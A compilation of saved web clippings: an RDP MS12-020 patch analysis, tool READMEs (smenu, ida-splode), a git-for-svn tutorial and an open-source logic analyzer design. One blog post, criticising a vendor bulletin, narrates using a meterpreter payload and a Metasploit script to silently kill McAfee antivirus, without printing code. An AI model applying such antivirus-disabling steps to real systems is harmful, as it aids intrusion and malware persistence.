are subtle and I don’t see where memory corruption could occur yet. I’ve
diffed rdpcore.dll on Windows 7 and there are some obvious code changes to
functions that can be hit pre-authentication… one even looks obviously memory
corruption related… what’s bugging me is that MS12-020 clearly states that XP
SP2 has an RCE fix in this patch.

<snip>

**Affected Software**

Operating System| Maximum Security Impact| Aggregate Severity Rating|
Bulletins Replaced by this Update  
---|---|---|---  
Windows XP Service Pack 3  
\(KB2621440\)| Remote Code Execution| Critical| MS11-065  
Windows XP Professional x64 Edition Service Pack 2  
\(KB2621440\)| Remote Code Execution| Critical| MS11-065  
<snip>

So if XP SP 2 has an RCE… and Rdpwd.sys is the only changed file… am I missing
something here? Is the advisory \*gasp\* misleading?

UPDATE: Cool, http://exploitshop.files.wordpress.com is also doing some
analysis… an analyzing GCCUserData might be the way to start looking at RCE.
If thats the case:  
<snip>

The TS\_UD\_CS\_SEC data block contains security-related information used to
advertise client cryptographic support. This information is only relevant when
Standard RDP Security mechanisms \(section 5.3\) will be used. See sections 3
and 5.3.2 for a detailed discussion of how this information is used.

0|  1|  2|  3|  4|  5|  6|  7|  8|  9| 1  
0|  1|  2|  3|  4|  5|  6|  7|  8|  9| 2  
0|  1|  2|  3|  4|  5|  6|  7|  8|  9| 3  
0|  1  
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---  
header  
encryptionMethods  
extEncryptionMethods  
    **header \(4 bytes\):** GCC user data block header as described in User Data Header \(section 2.2.1.3.1\). The User Data Header **type** field MUST be set to CS\_SECURITY \(0xC002\).
    **encryptionMethods \(4 bytes\):** A 32-bit, unsigned integer. Cryptographic encryption methods supported by the client and used in conjunction with Standard RDP Security The server MUST select one of these methods. Section 5.3.2 describes how the client and server negotiate the security parameters for a given connection.
    
Flag| Meaning  
---|---  
40BIT\_ENCRYPTION\_FLAG  
0×00000001| 40-bit session keys MUST be used to encrypt data \(with RC4\) and
generate Message Authentication Codes \(MAC\).  
128BIT\_ENCRYPTION\_FLAG  
0×00000002| 128-bit session keys MUST be used to encrypt data \(with RC4\) and
generate MACs.  
56BIT\_ENCRYPTION\_FLAG  
0×00000008| 56-bit session keys MUST be used to encrypt data \(with RC4\) and
generate MACs.  
FIPS\_ENCRYPTION\_FLAG  
0×00000010| All encryption and Message Authentication Code generation routines
MUST be Federal Information Processing Standard \(FIPS\) 140-1 compliant.  
    **extEncryptionMethods \(4 bytes\):** A 32-bit, unsigned integer. This field is used exclusively for the French locale. In French locale clients, **encryptionMethods** MUST be set to 0 and **extEncryptionMethods** MUST be set to the value to which **encryptionMethods** would have been set. For non-French locale clients, this field MUST be set to 0.
<snip>

The whole connection sequence is quite well documented here.

# p-gen/smenu

**Created:**| _9/23/2018 8:43:27 AM_  
---|---  
**Updated:**| _9/23/2018 8:43:27 AM_  
**Author:**| _wishi_  
**Tags:**| _bash_  
  

  

<img src='img/smenu.gif' width='640' height='448' alt='smenu.gif' />

## What is it?

**smenu** is a selection filter just like `sed` is an editing filter.

This simple tool reads words from the standard input, presents them in a cool
interactive window after the current line on the terminal and writes the
selected word, if any, on the standard output.

After having unsuccessfully searched the NET for what I wanted, I decided to
try to write my own.

I have tried hard to made its usage as simple as possible. It should work,
even when using an old `vt100` terminal and is `UTF-8` aware.

The wiki \(https://github.com/p-gen/smenu/wiki\) contains screenshots and
animations that detail some of the concepts and features of smenu.

## How to build it?

**smenu** can be built on every system where a working `terminfo` development
platform is available. This includes every Unix and Unix like systems I am
aware of.

Please use the provided `build.sh` to build the executable. This script
accepts the same arguments as `configure`, type `build.sh --help` to see them.

The script `autogen.sh` is also provided if you need to generate a new
`configure` script from `configure.ac` and `Makefile.am`. The GNU
**autotools** will need to be installed for this script to work.

## How to install it?

Once the build process has finished, a simple `make install` with the
appropriate privileges will do it

## Some examples.

### Linux example.

This program should work on most Unix but if you are using Linux, try to type
the following line at a shell prompt \(here: `"$ "` \):

[code]

    $ R=$(grep Vm /proc/$$/status \
          | smenu -n20 -W $':\t\n' -q -c -b -g -s /VmH)
    $ echo $R
    
[/code]

Something like this should now be displayed with the program waiting for
commands: \(numbers are mine, yours will be different\)

[code]

    VmPeak¦    23840 kB
    VmSize¦    23836 kB
    VmLck ¦        0 kB
    VmHWM ¦     2936 kB
    VmRSS ¦     2936 kB
    VmData¦     1316 kB
    VmStk ¦      136 kB
    VmExe ¦       28 kB
    VmLib ¦     3956 kB
    VmPTE ¦       64 kB
    VmSwap¦        0 kB
    
[/code]

A cursor should be under `"VmHWM "`.

After having moved the cursor to `" 136 kB"` and ended the program with
`<Enter>`, the shell variable R should contain: `" 136 kB"`.

### Unix example.

The following command, which is Unix brand agnostic, should give you a
scrolling window if you have more than 10 accounts on your Unix with a UID
lower than 100:

[code]

    $ R=$(awk -F: '$3 < 100 {print $1,$3,$4,$NF}' /etc/passwd \
          | smenu -n10 -c)
    $ echo $R
    
[/code]

On mine \(`LANG` and `LC_ALL` set to `POSIX`\) it displays:

[code]

    at      25 25  /bin/bash      \
    sys     0  3   /usr/bin/ksh   +
    bin     1  1   /bin/bash      |
    daemon  2  2   /bin/bash      |
    ftp     40 49  /bin/bash      |
    games   12 100 /bin/bash      |
    lp      4  7   /bin/bash      |
    mail    8  12  /bin/false     |
    named   44 44  /bin/false     |
    ntp     74 108 /bin/false     v
    
[/code]

Note the presence of a scrollbar.

### Testing and reporting.

The included testing system is relatively young, please be indulgent.

**IMPORTANT** the testing system has some dependencies, please read the
`test/README.rst` before going further.

**WARNING** running all the test by running `./tests.sh` in the `tests`
directory will take some time \(around 15 min for now\).

**NOTE** on some systems like \*BSD some tests may fail. This can be explained
by differences in posix/libc/... implementations. This can notably occur when
some specific regular expressions or uncommon UTF-8 byte sequences are used.

If a test fails for unknown reason, then please send me its directory name and
the relevant `.bad` file.

If you are hit by a bug that no test covers, then you can create a new test in
the `tests` directory in a existing or new directory, read the
`tests/README.rst` file, use an existing test as model, create an `.in` file
and a `.tst` file and send them to me as well as the produced files.

### Interested?

Please use the included man page to learn more about this little program.

  

# virusscan\_bypass.rb: Now with a lame security bulletin - Blog - n00bz
Network

**Created:**| _1/8/2011 1:10:36 PM_  
---|---  
**Updated:**| _1/8/2011 1:10:58 PM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis LOLZ antivirus Obfuscation_  
  

## virusscan\_bypass.rb: Now with a lame security bulletin

<img src='img/Temp2_10690.png' alt='Date' />Wednesday, January 5, 2011 at
1:16PM

@mubix shared a link with me earlier this morning. Security Bulletin - VSE 8.7
and earlier Metasploit payload attack

After my research and loss of faith in Anti-Virus technology, I decided to
look at this further.

Let's look at the Bulletin.

> McAfee is aware of a publicly disclosed attack that could disable VSE
> running on a customer’s machine.
There was an update to the Metasploit Framework on Christmas Eve that added a
script from Mert SARICA that silently kills McAfee VirusScan as well as some
other fun options. This was in revision 11411.

This isn't an attack but something an attacker could do once you click on that
email link that promised you a gazillion dollars from some guy who needs your
help transferring his dead cat's fortune out of a war torn condominium
complex.

> This attack is not a standalone attack, but acts as a payload to be chained
> via another attack.
Once again, at this point you are owned and Game Over already\!

> The attack was disclosed in a public tool.
While this is a Metasploit script, the only tool I see is the one who QA'ed
the DAT file \(6209\).

**Mitigating Factors**

  * McAfee has released a DAT file \(6209\) which detects the Metasploit plug-in used to run this attack.

<img src='img/Temp2_10689.png' />

Updated to the latest version\!

I am protected.... NOT\! WTF?

The target machine is Windows XP Pro SP3... Fresh install, OS patched,
installed McAfee AV and updated.

I generated a meterpreter executable and copied it to the desktop. Great On-
Access Protection\!

I ran the executable and now I have a session. Let's list the processes
running.

<img src='img/Temp2_10692.png' />

I found with a pid of 916 we have McShield.exe.

Running as an Administrator, I run the script. This will upload an executable
to the target and add it to the exclusion list. I am going to choose to kill
McAfee all together.

<img src='img/Temp2_10687.png' />

It should be noted that McTray.exe was also killed so we don't get the tray
icon. However on the target machine, the user would only see the tray icon
silently disappear. We can confirm that McAfee is McGone by looking at the
process list.

<img src='img/Temp2_10685.png' />

We now have full control of the target machine however probably don't want it
since it has been owned and now has the Zeus Trojan.

On a reboot, McAfee is back however it requires a reboot. Trying to load
McAfee again before the reboot results in a notification of ownage\!

<img src='img/Temp2_10694.png' />

Let's recap the timeline.

Script was added 12/24: Merry Christmas

Security Bulletin was issued 12/30: Happy New Year

On 1/5 the scipt still kills McAfee AV

How can you protect yourself? Do you load Symantec?

Watch Mubix uninstall Symantec's SEP.

http://www.room362.com/blog/2010/11/16/silently-uninstall-sep.html

All of this was released in 2010 and prior. I can't wait to see what 2011
brings.

Welcome to 2011, the year of the \#FAIL... again.

## UPDATE 01/06/2010

It looks like the virusscan\_bypass.rb scipt had a bug that caused the
termination of the McShield Icon and the error box. The script has been
updated.

Download the latest revision here: 11478

I grabbed it this morning and tested it out.

We have our process list before running the script.

<img src='img/Temp2_10691.png' />

We run the script as the local administrator.

<img src='img/Temp2_10688.png' />

Now we check the process list again.

<img src='img/Temp2_10686.png' />

Now for the sweep. Show me the Shield\! Survey says:<img
src='img/Temp2_10693.png' />

# zachriggle/ida-splode · GitHub

**Created:**| _7/27/2014 11:12:42 AM_  
---|---  
**Updated:**| _7/27/2014 11:12:42 AM_  
**Author:**| __  
**Tags:**| _iDA plugin_  
  

# IDA Splode

A tool that I wrote to help reversing on Windows. Also proof that I am bad at
coming up with catchy names.

##  Requirements

  * `%PIN_HOME%` points to an installation of Intel's Pin.
  * MongoDB
  * IDA Pro
  * VS 2010

##  Usage

  * Run `build.bat` from a MSVC 2010 console
  * Optionally, enable page heap for `test.exe` \(`gflags /i test.exe +hpa`\)
  * Run `release.bat` to trace the test.exe program in release mode
  * Start MongoDB
  * Run `demo.exe.py` to import the traces
  * Start IDA Pro, open `demo.exe`
  * Run `py\idapython_script.py` from within IDA
  * If everything worked, `ida-splode` should automatically recognize all traces for the open binary from the database, and present a list of options.
  * Press any of the hotkeys presented to do `${things}`.
    * The slides should give you a good idea what is avaiable.
    * `Ctrl+Shift+H` reprints the help message

##  Presentation

See the presentation in `slides/` for some examples on the sample application.
I've also included an `.idb` that shows some of the features. All comments are
auto-generated by the tool. The only input I provided was to give the
structures a name, and to select various interesting instructions.

##  Caveats

This is pulled from a working copy, so some things may not work properly. If
you run into any issues, feel free to contact me at @ebeip90 or ebeip90 on
Freenode.net.

# GIT for subversion \(and other scm\) users | www.romanenco.com
**Created:**| _11/5/2009 10:48:31 AM_  
---|---  
**Updated:**| _11/5/2009 5:31:14 PM_  
**Author:**| __  
**Tags:**| _programming_  
  

Andrew Romanenco.com

  * Home
  * OpenProject
  * CODEMETRIC
  * Technologies
  * Contacts
  * Personal

|

  * Home
  * OpenProject
  * CODEMETRIC
  * Technologies
    * OpenProj
    * PHP WS
    * RIA
      * GWT&PHP
    * jQuery
    * Transactions with Spring
    * GIT for svn users
    * Playing with SoapUI
  * Contacts
  * Personal

| Home » Technologies » GIT for svn users | _"Use git with your subversion"_ Git is another source management system, similar to cvs, subvertion and many others. Why do I tell "another", not "new", "faster" and so on? I believe that source management tool is just tool - no more; and this tool must suit your needs as developer and team member.  
Let's discuss "core "features we need in code management. We want to have
history of changes, we want to be able to roll back to any point, we want to
be able to make branches.  
CVS and Subversion have these options and, probably, you use them every day.
You use a set of commands like: update, commit, merge. When you run this
commands, all actions actually occur on server, and other developers can share
your results. Is it cool? Yes, it is. Teams can work in one office, in
different offices and they still work on the same system.  
This approach has small disadvantage: all your actions are shared, even if you
don't want then to. You may want to make some temporary branch, for example,
to check some idea. As the repository is centralized, entire team will see
this branch...Now imagine, you have 10 developers, and every developer makes a
few branches to check some features or fix some bugs - you will get a great
number of useless branches...  
So the next generation for source management is to offer developer common
features to be available locally. These features are the same; commit, branch
and so on, but now developers can execute this commands without affecting some
server's state. As a result every developer has his own local repository and
entire project will have set of distributed repositories.  
This architecture brings us to distributed source management systems, and git
is one of them.  
You may read a lot of articles about distributed source management, how to
synchronize repositories and so one. But we will focus on useful options for
developers in projects based on cvs or subversion. For now you have no need in
understanding distributed processes, synchronization and so on.  
**  
Typical subversion use case.** Every morning you do '_svn update_' to update
you local working copy with latest changes from central repository. Next you
get task from tracker an start thinking. You suppose that task has two ways to
be solved and don't know which one is optimal; would be great to test each
one...  
First you do all code changes for first idea; compile, run and get some
results....and now you want to check second way. Here problems appear. You can
not commit code as it is not ready, and you don't want to create branch for
this couple-of-hours task...You may comment out changes and apply new one,
make copy of code on your hard drive and so on.  
Anyway, you will code second way and test it. After choosing optimal solution
you commit your changes to subversion. Would be great to optimize local
development process... Git is great tool to help you with local code
management, local branching and local commiting \- other team members will not
know, that you are git user\! I will give step by step use case with git, to
demonstrate main aspects. **Start with Git** Let's say that you project lives
in directory ACME. This directory is working copy for subversion, so it has
.svn folder \(and .svn present in any subfolder\).  
'_svn status_' will show current state for subversion.  
First of all we have to tell git about his project. Go to ACME dir and run:  
  
_git init_This will create local repository for git and this repo will live in
.git directory. Note, project subfolders have no .git directories. Run:  
  
_git status_ It will show you all files as untracked: as we did not added any
files to git. Before adding files, let exclude .svn folders from git tracking.
Open file: .git/info/exclude and add line: '.svn\*'. Now git status shows no
.svn. Add all project's files to git:  
  
_git add ._ Git '_status_ ' shows all files as ready to be commited. Do it:
_git commit -am "initial file import"_ Run: git status - it will show
everything is ok  
  
 _'svn status_' will show .git as untracked item. As you do not need it in
svn, you may igore it by:  
  
_svn propset svn:ignore .git ._Now you have all you project's files tracked by
two systems: subversion and git. From subversion point of view it is no
changes to working process: you use update, commit and so on as usual.  
For example, you want to test some new idea, let's look how git helps and why
it's cool.  
Run git status to be sure that everything is up to date. If you see any
untracked or changed items \(as a result of svn update\) just add them and run
git commit.  
Also note: status says that you are in branch 'master'.  
Create branch for your idea.  
  
_  
git branch idea  
git checkout idea_or _git checkout -b idea_ Run git status, it will show you
are in new branch.  
Now you can make all you changes, commits \(any number of commits\), tests and
so on.  
Any time you can switch back to main branch:  
_git checkout master_ and back _git checkout idea_ Being in idea branch you
may want to create more branch, for sub ideas...  
Now imagine that you added all changes, test them and want to share with other
developers via subversion.  
First of all you should run svn status to check changes, and can run _svn
commit_ to save.  
But I would offer to make commits only form branch master: master will be
mirror for you subversion and other branches is your own artifacts.  
To make commit from master branch you have to move all changes made in idea.
It is really easy: _git checkout master  
git merge idea_As we did not make any changes to master, system will make
simple merge forward and update your sources.  
_svn commit_ will share you code with team.  
To drop unuseful branch run:  
  
_git branch -d idea_If you confused with git, you should just remove .git
foders, and reinit. **Conclusion** Now you have ideal instrument to check
ideas, fix bugs, and you are free to use it, even if you company uses other
source management software.  
As a best practice I would offer to make branch fo every change you do, every
feature or bug fix.  
Also read more info in web about git commands: checkout, add, branch and
merge.  
---  
  
  
  
  
  
romanenco.com 2008  
  
  
---

# Dangerous Prototypes · Prototype: Openbench Logic Sniffer logic analyzer

**Created:**| _4/9/2011 9:51:48 AM_  
---|---  
**Updated:**| _4/9/2011 9:51:48 AM_  
**Author:**| __  
**Tags:**| _Embedded hardware analysis_  
  

# Prototype: Openbench Logic Sniffer logic analyzer

February 25, 2010 in logic analyzer, Prototypes by Ian | 62 comments
<img src='img/Temp2_1939.jpg' width='490' height='396' />

Openbench Logic Sniffer is an open source logic analyzer. It’s designed to
support the SUMP logic analyzer software at the lowest possible cost. Download
the source and design files from the Gadget Factory project page.

This project started in the comments on a post. Initial circuit design, PCB
layout, development, and testing continued in the forum under the code name
Project SUMP PUMP. Many, many people contributed ideas and advice, the Gadget
Factory and Dangerous Prototypes coordinated circuit development and routed
the PCB. We borrowed heavily from the Gadget Factory’s Butterfly Platform.

The Open Logic Sniffer is a purpose-built logic analyzer board designed to be
low cost but high speed. It sacrifices a lot of the features you’d look for in
a full-scale development board to achieve our primary goals:

  * 70MHz+ sample speeds
  * 32 channels
  * 16 buffered, 5volt tolerant channels
  * USB interface, USB powered
  * USB upgradable everything
  * Make it as DIY as possible
  * Make it as open source as possible
  * $30-$40 price range

We didn’t quite hit our initial price range, but we got really close.

You can get your own assembled Open Logic Sniffer at Seeed Studio for $45,
including worldwide shipping. Continue reading about the design and
collaboration below.

**Concept Overview**

_SUMP_

_<img src='img/Temp2_1931.jpg' width='450' height='225' />  
_

SUMP is an open source Java logic analyzer client by Michael Poppitz. It
consists of two parts, a VHDL logic capture engine for FPGAs, and a Java logic
analyzer client. The latest development version of the SUMP client is
available from SourceForge.net.

SUMP is a sampling logic analyzer. It reads the state of the input pins and
stores the samples in internal ram. It then dumps the samples back to the
computer client for analysis. The number of samples possible is limited by the
RAM in the FPGA.

We like SUMP because it’s the best developed open source logic analyzer
toolchain currently available. It has lots of professional features like
multi-stage triggers, configurable pre-roll, external trigger and clock sync,
and a few protocol analyzers \(I2C, UART\). It’s open source, so the potential
to add cool new features is limited only by your imagination and coding
skills.

SUMP is typically ported to a general-purpose FPGA development board. We took
a different approach and designed hardware specifically for SUMP, while
constraining costs wherever possible.

_Other logic analyzers_

Professional logic analyzers have tons of channels and super high speeds.
We’re not trying to make a low cost DIY version of these tools, the OLS isn’t
an alternative to these types of tools if you need to sniff 100MHz+ signals
and have huge sample sizes.

Being an engineer’s tool, there are plenty of DIY logic analyzer designs.
Parallel port based logic analyzers used to be all the rage, but with parallel
ports and direct interrupt access disappearing from systems, these are just
historical curiosities.

Another type of DIY logic analyzer is a microcontroller-based device. There
are several with custom interfaces like the PIC Logix, Scanalogic, and AVR
Logic Analyzer. The Bus Pirate works with SUMP. Microcontroller analyzers all
have one thing in common: they’re really slow, usually sub-megahertz.

USB IO chip-based hobby logic analyzers are currently popular. We’ve always
been fans of the Saleae Logic, the USBee is similar. These devices are just a
USB IO chip like a CY7C68013A-56PVXC, with all trigger and processing logic
done in software on a computer. The hardware part is just a datalogger. The
top sampling speed is usually around 24Msps \(24MHz\), if the conditions on
your USB bus are just right. They can take ‘unlimited’ samples because
everything is stored on the computer. Current models tend to be 8 channels,
more channels would reduce the maximum speed proportionately. These are
commercial products with highly polished user interfaces, we don’t know of any
that are open source.

The Open Logic Sniffer sits somewhere between hobby analyzers and professional
analyzers. The OLS samples up to 200Msps, regardless of the USB bus traffic,
and has true hardware triggers. The OLS has twice as many buffered channels as
most hobby USB analyzers, and four times more channels overall. The major
difference is that the OLS has a limited number of samples, while the hobby
USB analyzers can theoretically take infinite samples. Most of our debugging
is done with the first few hundred samples, so this feature isn’t usually
important to our work, your situation may be different. Future versions of the
OLS will definitely have more sample storage, and we can work an infinite
sampling mode into a future firmware update too.

_Our Design_

<img src='img/Temp2_1941.jpg' width='490' height='285' />

Click for a full size circuit diagram \[PNG\]. This circuit diagram,
maintained by Uwe Bannow, shows the basic elements of the Open Logic Sniffer
hardware. The FPGA captures logic samples from 32 input pins into internal
RAM. The samples are dumped out a serial port for analysis on a computer. The
open source SUMP logic analyzer client is used to capture and visualize the
samples.

The FPGA only communicates over a serial port, so we used a USB
microcontroller to convert the serial IO to a USB virtual serial port. The
entire chain is upgradable through the USB connection. The microcontroller can
program updated logic analyzer designs into the SPI flash data chip, and the
microcontroller can also be updated from its USB bootloader.

We chose a USB microcontroller over a dedicated USB interface chip. A low
pincount PIC was cheaper than most other USB bridge options. It’s USB 2.0
compliant, and can transfer data at up to 12Mbps. We’re using it with the
completely open virtual serial port CDC interface, so it will work on almost
any platform without proprietary drivers. The PIC can also implement other USB
transfer protocols with a firmware update, faster connection methods can be
supported when someone adds support for them to the SUMP client software.

Currently the SUMP FPGA design only transfers data over a 115200bps serial
UART, the speed between the USB PIC and the computer isn’t a bottleneck. We
routed several extra connections between the PIC and FPGA to implement a high-
speed SPI interface in the future. The speed increase of an SPI interface can
be supported in the SUMP client just by adding higher serial port speed
settings.

An FTDI2232 chip was strongly considered as an alternative to the PIC. Here’s
how we looked at it:

Benefits of the FTDI2232 with MSSP:

  * JTAG interface to debug the FPGA
  * SPI interface to program the ROM
  * SPI and UART interface to the FPGA

Cons:

  * Difficult to route
  * Expensive to place
  * Huge software development burden
  * Needs special drivers
  * USB interface not already supported by SUMP

With so much to accomplish already, major modifications to the client to work
with untested hardware and custom drivers didn’t seem appealing. Not if the
project were ever going to get finished. The PIC seemed like the best route
for the first version.

**Hardware**

<img src='img/Temp2_1938.jpg' width='490' height='316' />

Click for a large image of the schematic \[PNG\]. The schematic is divided
into a microcontroller part \[PNG\] and a FPGA part \[PNG\]. These sections
are where Ian and Jack initially split the design work. We used the freeware
version of Cadsoft Eagle to make the circuit and PCB. Download the latest
files from the Gadget Factory project page.

_FPGA_

_<img src='img/Temp2_1923.jpg' width='490' height='230' />  
_

A Xilinx Spartan 3E field programmable gate array \(FPGA\) is the central
component of the logic analyzer. The FPGA samples data from 16 buffered and 16
unbuffered IO pins, and stores the samples in internal RAM. The samples are
later dumped out a serial UART to the PIC, and from the PIC to a computer via
USB.

The basic FPGA schematic and PCB layout is taken directly from the Gadget
Factory’s Butterfly Platform main board. The OLS shows how versatile the
Butterfly Platform is as a development tool. The initial designs where first
tested on the Butterfly Platform, and then we used the base design to create a
unique, purpose-build hardware based on the prototype. You can get a Butterfly
platform to build your own prototypes at the Gadget Factory for $99.

<img src='img/Temp2_1929.jpg' width='490' height='306' />

The FPGA \(IC3\) requires three different power supplies. The core requires
1.2volts and 2.5volts, and the IO pins run at 3.3volts. Each supply pin gets a
0.1uF decoupling capacitor \(C11-26\). We brought the JTAG programming and
debugging connection to a header in the interior of the PCB. The JTAG header
provides 2.5V to external JTAG programmers to satisfy the Spartan 3E’s
requirements for 2.5V on the dedicated JTAG pins.

<img src='img/Temp2_1940.jpg' width='490' height='113' />

Several control and indication signals require special attention. INIT\_B
enables the FPGA when high, it’s held to 3.3volts with a 4.7K pull-up resistor
\(R6\). The DONE signal goes high to indicate that the FPGA is configured and
ready to use after a reset. It’s held to 2.5volts by a 300 ohm resistor
\(R1\).

PROG\_B, held at 2.5volts by a 4.7K pull-up resistor \(R5\), can be pulled low
to put the FPGA in programming mode. The HSWAP pin \(not shown\) determines if
all pins have pull-up resistors in programming mode. We grounded HSWAP so that
all pins have weak pull-ups when PROG\_B is low.

FPGAs are volatile programmable chips, they lose their configuration without
power. The FPGA configuration, called a bitstream, has to be loaded into the
chip each time it starts. We configured the FPGA to automatically load a
bitstream from an SPI ROM chip by wiring the mode select pins as follows:
M0\(3.3volts\), M1\(0volts\), M2\(3.3volts\).

<img src='img/Temp2_1950.jpg' width='490' height='149' />

The FPGA runs from a 50Mhz oscillator\(Q2\). This is a complete clock
generation module, no external capacitors are required. The 50Mhz clock is
doubled to 100Mhz by an internal Digital Clock Manager \(DCM\) to provide the
100Mhz clock required by the VHDL core.

<img src='img/Temp2_1932.jpg' width='489' height='100' />

Two LEDs indicate the FPGA status. The ARM LED indicates when a trigger is set
and the device is actively waiting for the trigger. The TRIG LED indicates
when a trigger has been activated. We used 390R current limiting resistors
\(R8, R9\) on the prototype, but the assembled board should ship with 1K1
resistors to make the LEDs dimmer.

_Buffered inputs_

_<img src='img/Temp2_1925.jpg' width='464' height='300' />  
_

The FPGA IO pins are powered by 3.3volts, and can tolerate no more than a
3.3volt signal. The M74LCX16245DTR2G buffer \(IC4\) allows 16 buffered pins to
sniff 5volt logic and can tolerate voltages from -0.5 to +7V. This chip is
also powered by the 3.3volt supply, and it gets a 0.1uF decoupling capacitor
\(C9\) on the supply pin.

_Clock/trigger headers_

_<img src='img/Temp2_1926.jpg' width='490' height='170' />  
_

The logic analyzer can sync with other test equipment and should allow OLS’s
to be daisy chained together for more channels. It can be driven by an
external clock and trigger, and it also outputs its internal clock and
trigger. You can tap these signals from the some-what awkwardly placed pin
block in the middle of the PCB. The external clock input had to be on an FPGA
global clock pin, this was the best possible location to access it because no
sensitive high-speed signals were routed across other traces.

_Wing header_

_<img src='img/Temp2_1934.jpg' width='490' height='123' />  
_

A wing is an accessory for the Gadget Factory Butterfly Platform development
board. It uses a standardized header and pinout. The header has 16bits of
3.3volt IO, and 2.5, 3.3, and 5volt power supplies.

We added a wing header to the OLS so it can use accessories developed on the
Butterfly Platform, like a digital sampling oscilloscope. This has the added
benefit of making the OLS compatible with a bunch of existing Butterfly
Platform accessories.

_ROM_

_<img src='img/Temp2_1944.jpg' width='490' height='448' />  
_

The FPGA programs itself with a bitstream stored in a 4Mbit AT45DB041D SPI
flash storage chip \(IC2\), we refer to it as a ROM. We previously
demonstrated this chip with the Bus Pirate. It’s powered by the 3.3volt
supply, and requires a 0.1uF capacitor \(C10\) on the supply pin. The XC3S250E
bitstream will fit into a 2Mbit flash chip, but only 4Mbit chips were
available when we sourced parts.

The ROM chip has an SPI interface that connects to the FPGA, the PIC
microcontroller, and an external programming header.

  * The FPGA mode select pin configuration causes the FPGA to load a bitstream from the ROM chip. When the bitstream is finished loading, the DONE signal goes high, and the FPGA is programmed and active.
  * The PIC can \(re\)program the ROM with updated bitstreams. The PIC holds the FPGA PROG\_B line low in this mode so the FPGA releases control of the ROM chip.
  * The external header can be used to program the ROM from a programmer. Place a jumper between the PGM and EN pins to manually place the FPGA in programming mode.

_Microcontroller_

_<img src='img/Temp2_1949.jpg' width='490' height='230' />  
_

A PIC 18F24J50 microcontroller \(IC1\) is the interface glue. It has these
functions:

  1. Provides a USB->serial connection from the SUMP Java client to the SUMP hardware in the FPGA
  2. Puts the FPGA in programming mode and updates the ROM with a new bitstream
  3. A USB bootloader can be used to update the PIC firmware

The 18xxJxx chips are really interesting, and seem like a hybrid of the 24F
and 18F families. This PIC has the instruction set and 8bit core of the 18F
family, but many enhanced features of the 16bit PICs. Half of the UARTs and
SPI modules are assigned with peripheral pin select, it has flash
configuration words, and it runs on 3.3volts, like a 16bit PIC.

The PPS features are really handy and make the clean layout of the PCB
possible. The ROM SPI connection and FPGA UART connection are both assigned to
custom pins with PPS. PPS can be used to implement a high-speed \(10Mbit+\)
SPI connection between the PIC and FPGA in a future firmware upgrade.

<img src='img/Temp2_1943.jpg' width='490' height='338' />

The PIC is powered by 3.3volts, the supply pin gets a 0.1uF capacitor \(C7\).
The USB peripheral has a separate 3.3volt supply pin that also needs a 0.1uF
decoupling capacitor \(C8\). A 10uF capacitor \(C4\) is required for the
internal 2.5volt core supply regulator.

<img src='img/Temp2_1924.jpg' width='490' height='133' />

An external oscillator provides an accurate USB clock, we used a 20MHz crystal
\(Q1\) and two 27pF capacitors \(C5, C6\).

<img src='img/Temp2_1942.jpg' width='490' height='127' />

A 10K resistor \(R3\) holds the PIC reset pin high for normal operation, the
RESET button \(S1\) grounds it to cause a hard reset. A second button \(S2,
R4\) is available for simple user input.

<img src='img/Temp2_1935.jpg' width='490' height='123' />

The LED ACT is a general purpose indicator LED controlled by the PIC through
current limiting resistor R7. The PWR \(power\) LED is connected to the USB
supply though current limiting resistor R2, it illuminates whenever the board
is powered.

We also brought the one of the hardware UARTs to a header. The pins are 5volt
tolerant, and can be interfaced at up to 5volts without damaging the PIC. This
header can be used for a ‘classic’ serial port connection. The board can also
be powered through the UART header supply pins.

_Power supply_

_<img src='img/Temp2_1946.jpg' width='490' height='345' />  
_

The board is intended to be powered by the 5volt supply from a USB port. Three
regulators provide the three supply rails required by the circuit. All the
chips require a 3.3volt supply \(VR1\), the FPGA also requires a 1.2volt
\(VR3\) and 2.5volt \(VR2\) supply. As recommended by the datasheet, there’s a
10uF capacitor \(C27\) on the supply line, and each regulator has a 1.0uF
capacitor \(C1-3\) on the output pin.

_Numbering_

The OLS has two different numbering schemes, one on the inside of the board
and one on the outside of the board. The inside numbering scheme starts with
zero on the buffered header. The outside numbering scheme starts with zero on
the Wing header. Currently the numbering scheme can be selected by loading a
bitstream that implements either numbering scheme. Future updates will support
selecting the numbering scheme through the Java Logic Analyzer client.

_PCB_

<img src='img/Temp2_1922.jpg' width='490' height='268' />

We used the freeware version of Cadsoft Eagle to make the schematic and PCB.
Download the latest files at the Gadget Factory project page.

The PCB is nearly the maximum allowable size in Eagle. All the components are
surface mount, but we stuck with traditional through-hole headers. It took us
an hour or two to solder each prototype board by hand.

We had boards made with the $50 Seeed Studio Fusion board service. This design
probably would have been ready a bit sooner, but the PCBs were delayed about a
month by the major Hong Kong Post Christmas mail rush.

_Partlist_

<img src='img/Temp2_1945.jpg' width='489' height='262' />

Click for a full size placement image \[PNG\]. Uwe Bannow generously provided
parts for the OLS prototypes. An extra special thanks to Uwe, his help was key
to making this project what you see today.__

Part |  Quantity |  Value |  Package  
---|---|---|---  
C1-C3 |  3 |  1.0uF |  0805  
C4,C27 |  2 |  10uF |  SMC\_A  
C5,C6 |  2 |  27pF |  0805  
C7-C26 |  20 |  0.1uF |  0603  
IC1 |  1 |  PIC18F24J50 |  SO-28W  
IC2 |  1 |  AT45DB041D |  SO-08W  
IC3 |  1 |  XC3S250E-VQ100 |  VQ100  
IC4 |  1 |  M74LCX16245DTR2G |  TSSOP48  
J1 |  1 |  MINIB-USB |  SMD  
LEDs |  4 |  LED |  0805  
Q1 |  1 |  20Mhz |  HC49UP  
Q2 |  1 |  50MHz |  OSC1  
R1 |  1 |  300R |  0805  
R2 |  1 |  1K8 |  0805  
R3,R4 |  2 |  10K |  0805  
R5,R6 |  2 |  4K7 |  0805  
R7-R9 |  3 |  1K1 |  0805  
S1,S2 |  2 |  DTSM-6 tact switch |  DTSM-6  
VR1 |  1 |  MIC5205-3v3 |  SOT23-5  
VR2 |  1 |  MIC5205-2v5 |  SOT23-5  
VR3 |  1 |  MIC5205-1v2 \(MCP1801T-1202\) |  SOT23-5  
JP7,JP8 |  2 |  0.1″ pin header, rt angle |  1X09  
**SUMP FPGA design**

_Top Level Schematic_

<img src='img/Temp2_1930.jpg' width='490' height='347' />

Click for a large image of the Top Level schematic \[PNG\].

_Core Schematic_

_<img src='img/Temp2_1936.jpg' width='490' height='634' />_

Click for a large image of the core schematic \[PNG\].

